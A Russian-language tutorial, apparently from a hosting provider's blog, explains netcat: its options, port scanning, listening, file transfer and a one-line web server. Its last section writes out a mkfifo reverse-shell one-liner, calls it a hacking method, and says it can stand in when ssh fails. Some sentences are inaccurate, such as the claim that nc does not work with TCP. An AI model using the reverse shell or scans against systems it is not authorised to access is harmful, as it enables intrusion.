Способы оплаты Abuse

Для чего команда NC в Linux

29.08.2024, 02:19

Команда netcat необходима для передачи и получения данных протоколами TCP и UDP. Она не отличается большим набором функций, но при этом её достаточно для проверки соединения и несложной отладки. Как общаться посредством протокола TCP? Этим вопросом задаются многие пользователи. В этой статье ответим на этот вопрос, с также покажем примеры реального применения команды.

Что дает команда?

Команда netcat (или nc) — это мощный инструмент для работы с сетевыми соединениями. Она часто используется системными администраторами и разработчиками для различных задач. Вот основные функции и возможности netcat:

  1. Создание TCP/UDP соединений: позволяет устанавливать соединения с удаленными хостами по протоколам TCP и UDP.
  2. Прослушивание портов: может использоваться как сервер для прослушивания входящих соединений на определенном порту
  3. Передача данных: передавать данные между компьютерами через сеть. Это может быть полезно для передачи файлов или обмена сообщениями.
  4. Отладка сетевых приложений: используется для тестирования и отладки сетевых сервисов, позволяя отправлять и получать произвольные данные.
  5. Создание простых чатов: можно настроить простую текстовую переписку между двумя системами
  6. Сканирование портов: может использоваться для проверки открытых портов на удаленных хостах
  7. Туннелирование: позволяет создавать туннели для перенаправления трафика через другие порты или хосты
  8. Работа с прокси: может использоваться для работы с прокси-серверами и выполнения различных сетевых задач.

netcat является универсальным инструментом, который может быть использован в самых разных сценариях, от простого обмена сообщениями до сложных сетевых операций.

Опции 

Для начала рассмотрим синтаксис и наиболее востребованные:

  • -6 – использовать протокол IPv6. По умолчанию используется параметр -4 и IPv4 соответственно;
  • -h – вывести справку со списком доступных параметров;
  • -i - задержка – добавить задержку между отправкой строк или сканированием портов. Задаётся в секундах;
  • -l – режим прослушивания. Используется с указанием порта;
  • -N – закрыть соединение при достижении конца файла при его отправке;
  • -n – Работать с IP-адресами напрямую, не задействуя DNS, также отключить поиск портов;
  • -P - user_name – указать имя пользователя для подключения к прокси;
  • -x - address:port – указать адрес и порт для подключения к прокси;
  • -p - port – указать номер порта. В большинстве случаев порт считывается без указания параметра;
  • -U – использовать сокет домена UNIX (для межпроцессного взаимодействия);
  • -u – использовать протокол UDP, по умолчанию используется TСP;
  • -v – подробный режим. Используется при сканировании;
  • -W количество_пакетов – закрыть соединение после получения определённого количества пакетов;
  • -w таймер – включить таймер для ограничения времени соединения. Задаётся в секундах;
  • -z – отключить отправку данных. Используется при сканировании.

Команда имеет следующий вид (параметры адрес порт):

$ nc

Дальше расскажем о способах применения команды.

Проверяем порт

Проверка – главное применение netcat. Следует использовать два параметра -vz, указать адрес и порт. Вы можете указать диапазон адресов, но в этом случае лучше отсеять только открытые порты с помощью команды grep. Проверим порты адреса локальной сети:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Таким же способом просканируем порты UDP, добавив параметр -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

При этом нужно знать главное отличие TCP и UDP. Так в UDP порты всегда доступны.

Прослушиваем порт

Для прослушивания порта предназначен параметр -l. Его зачастую достаточно, но можете включить подробный режим:

$ nc -nlv 8080

Помните, что при использовании протокола TСP порт должен быть в свободен, иначе появится ошибка Already in use. При этом не все порты могут использовать обычные пользователи, например, 80 порт (HTTP), скорее всего, он будет занят другим процессом, и к тому же потребует прав суперпользователя.

Обмен файлами

Полезная способность команды - обмен данными. Простой пример – текстовый чат. Для того, чтобы запустить чат на одном компьютере запускаем утилиту в режиме прослушивания порта:

$ nc -lp 8080

На другом компьютере потребуется указать адрес первого компьютера и тот же самый порт. Также не забудьте проверить, что порт открыт:

$ nc 0.0.0.0 8080

Таким способом удастся отправлять и получать сообщения. То есть, команда предназначена для обмена файлами. Принцип такой же, за тем исключением, что необходимо перенаправить вывод в файл, а именно в paste.txt:

$ nc -l 8080 > paste.txt

На другом ПК вводом будет служить файл copy.txt. Не лишним будет использовать параметр -N, чтобы после передачи файла закрыть соединение:

$ nc -N 0.0.0.0 8080 < copy.txt

Для передачи файлов важно соблюсти последовательность, сначала открыть прослушивание и лишь потом отправлять файл. Команда nc –  рабочий, но далеко не самый лучший способ передачи файлов. Есть для решения этой задачи более эффективные и полезные инструменты.

Простой веб-сервер

Поскольку команда NC не функционирует с протоколом TСP, она позволяет и отправлять, и получать запросы HTTP. Следовательно, утилита может стать простейшим веб-сервером. Да, ничего хитрей страницы-заглушки таким образом нельзя сделать, н операция практически не отнимет времени, а еще плюс в том, что не нужно ничего дополнительно инсталлировать.

На примере сформируем ответ HTTP с файлом index.html. Если же говорить о самой np, то не лишним будет установить таймер параметром -w 1, чтобы разорвать соединение, если этого не сделает браузер:

$ while true; do echo -e "HTTP/1.1 200 OK\n\n$(cat index.html)" | nc -l -w 1 -p 8080; done

Чтобы получить данные с веб-сайта, вы можете сформировать запрос и отправить его на советующий адрес и порт. Но такой способ довольно сложный, лучше использовать соответствующую CURL команду. 

Удаленная оболочка

Исходя из рассмотренных выше примеров, не составит прийти к выводу, что команда позволяет организовать удалённый доступ к оболочке компьютера. Ранее утилита NC имела несколько параметров для открытия доступа к терминалу. Параметр -e уже давно убрали из утилиты, поэтому простого доступа к терминалу уже не будет. Безопасность самого приложения стала выше, но оно по-прежнему может работать в связке с другими.

Покажем подключение с помощью именованного канала mkfifo. В первую очередь запустим прослушивание порта на том ПК, на котором будем получать доступ:

$ nc -lvnp 8080

Перейдём непосредственно к команде для открытия терминала. Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>&1). После этого останется запустить nc с выводом в наш именованный канал (nc 0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Следует учитывать, что это один из способов взлома, однако, он может быть полезен в случае появления проблем с ssh. Для того, чтобы предотвратить атаку настраивайте политику безопасности и межсетевой экран.